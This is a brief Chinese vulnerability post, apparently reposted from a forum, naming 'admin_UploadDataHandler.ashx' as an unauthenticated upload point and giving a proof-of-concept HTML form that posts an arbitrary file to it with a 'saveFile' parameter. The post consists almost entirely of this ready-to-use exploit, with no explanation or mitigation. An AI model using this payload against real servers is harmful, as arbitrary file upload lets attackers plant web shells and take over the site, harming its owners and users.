漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点
poc:
<html> <body> <form action="http://127.0.0.1/admin_UploadDataHandler.ashx" method="POST"enctype="multipart/form-data"> <input type="file" name="uploadify" /> <input type="text" name="saveFile" value="admin" /> <input type="submit" name="Upload" value="Submit Query" /> </form> </body> </html>
转自群友论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论